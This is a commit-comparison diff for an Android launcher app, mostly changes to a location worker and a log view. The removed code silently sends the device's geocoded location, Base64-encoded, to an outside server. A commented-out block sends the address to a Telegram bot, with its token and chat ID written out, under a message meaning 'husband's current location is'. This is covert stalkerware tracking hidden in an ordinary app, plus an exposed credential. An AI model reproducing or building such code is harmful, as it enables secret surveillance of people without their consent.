Compare commits

..

No commits in common. "440f136e503bdebb6c773309073ab5ef3654d0d8" and "a7dfa35e10228c1a482dd5ce0ea8aba4297391dc" have entirely different histories.

3 changed files with 43 additions and 55 deletions

View File

@ -40,8 +40,9 @@ internal class FeedsResult : BottomSheetDialogFragment() {
if (it.size > 0) {
binding.logs.text = it.map {
BLog.LOGE("LocLog >> ${it.toString()}")
SimpleDateFormat("yyyy/MM/dd-HH:mm:ss").format(Date(it.time)).plus("\n").plus(it.mAddressLines.joinToString(" ,\n"))
}.joinToString( ",\n")
SimpleDateFormat("yyy/MM/dd-HH:mm:ss").format(Date(it.time))
it.mAddressLines.joinToString(" , ")
}.joinToString( " , ")
}
}
return binding.root

View File

@ -10,12 +10,9 @@ import androidx.work.WorkerParameters
import com.google.android.gms.location.LocationServices
import com.google.android.gms.location.Priority
import com.google.android.gms.tasks.CancellationTokenSource
import com.google.gson.Gson
import okhttp3.ConnectionPool
import okhttp3.MediaType
import okhttp3.OkHttpClient
import okhttp3.Request
import okhttp3.RequestBody
import okhttp3.Response
import okhttp3.ResponseBody
import rasel.lunar.launcher.LauncherActivity.Companion.runWeatherGetter
@ -26,7 +23,6 @@ import rasel.lunar.launcher.utils.BLog
import java.io.IOException
import java.math.BigDecimal
import java.math.RoundingMode
import java.util.Base64
import java.util.Locale
import java.util.concurrent.Executors
import java.util.concurrent.TimeUnit
@ -73,44 +69,43 @@ class LocationGetter(context: Context, workerParams: WorkerParameters) : BaseGet
BigDecimal.valueOf(location.getLongitude()).setScale(6,RoundingMode.HALF_UP).toDouble(),
1) { addresses ->
addresses.first()?.let {
LocationLog().apply {
WorkersDb.push(LocationLog().apply {
fillData(it)
Executors.newSingleThreadScheduledExecutor().schedule({
try {
//////-1002450229641
val url =
"https://lunaticbum.kr/bums/save/loc.api"
//7068729507
// OkHttp 클라이언트 객체 생성
val client = OkHttpClient.Builder()
.connectionPool(ConnectionPool(5, 60, TimeUnit.SECONDS))
.build()
// GET 요청 객체 생성
val builder: Request.Builder = Request.Builder().url(url)
.addHeader("Content-Type", "application/json").get()
builder.method("POST", RequestBody.create(MediaType.parse("application/text"), Base64.getEncoder().encode(Gson().toJson(this@apply).toByteArray())))
val request: Request = builder.build()
BLog.LOGE("telegram before request ")
// OkHttp 클라이언트로 GET 요청 객체 전송
val response: Response = client.newCall(request).execute()
if (response.isSuccessful()) {
// 응답 받아서 처리
val body: ResponseBody? = response.body()
if (body != null) {
}
} else BLog.LOGE("telegram Error Occurred")
} catch (e: java.lang.Exception) {
e.printStackTrace()
}
}, 5, TimeUnit.SECONDS)
WorkersDb.getRealm().writeBlocking {
copyToRealm(this@apply)
}
}
})
// it.getAddressLine(0)?.let {
// Executors.newSingleThreadScheduledExecutor().schedule({
// try {
// //////-1002450229641
// val url =
// "https://api.telegram.org/bot7934509464:AAE_xUbICxMdywLGnxo7BkeIqA1nVza4P9w/sendMessage?chat_id=83268260&text=남편의현위치는${it}"
// //7068729507
// // OkHttp 클라이언트 객체 생성
// val client = OkHttpClient.Builder()
// .connectionPool(ConnectionPool(5, 60, TimeUnit.SECONDS))
// .build()
//
// // GET 요청 객체 생성
// val builder: Request.Builder = Request.Builder().url(url)
// .addHeader("Content-Type", "application/json").get()
//
// val request: Request = builder.build()
//
// BLog.LOGE("telegram before request ")
// // OkHttp 클라이언트로 GET 요청 객체 전송
// val response: Response = client.newCall(request).execute()
// if (response.isSuccessful()) {
// // 응답 받아서 처리
// val body: ResponseBody? = response.body()
// if (body != null) {
//
// }
// } else BLog.LOGE("telegram Error Occurred")
//
// } catch (e: java.lang.Exception) {
// e.printStackTrace()
// }
// }, 5, TimeUnit.SECONDS)
// }
}
addresses.forEach { }
}

View File

@ -7,17 +7,9 @@
android:padding="@dimen/twelve"
android:clickable="true"
android:focusableInTouchMode="true">
<ScrollView
app:layout_constraintTop_toTopOf="parent"
app:layout_constraintLeft_toLeftOf="parent"
app:layout_constraintRight_toRightOf="parent"
app:layout_constraintBottom_toBottomOf="parent"
android:layout_width="match_parent"
android:layout_height="wrap_content">
<TextView
android:id="@+id/logs"
android:layout_width="match_parent"
android:layout_height="wrap_content"/>
</ScrollView>
<TextView
android:id="@+id/logs"
android:layout_width="wrap_content"
android:layout_height="wrap_content"/>
</androidx.constraintlayout.widget.ConstraintLayout>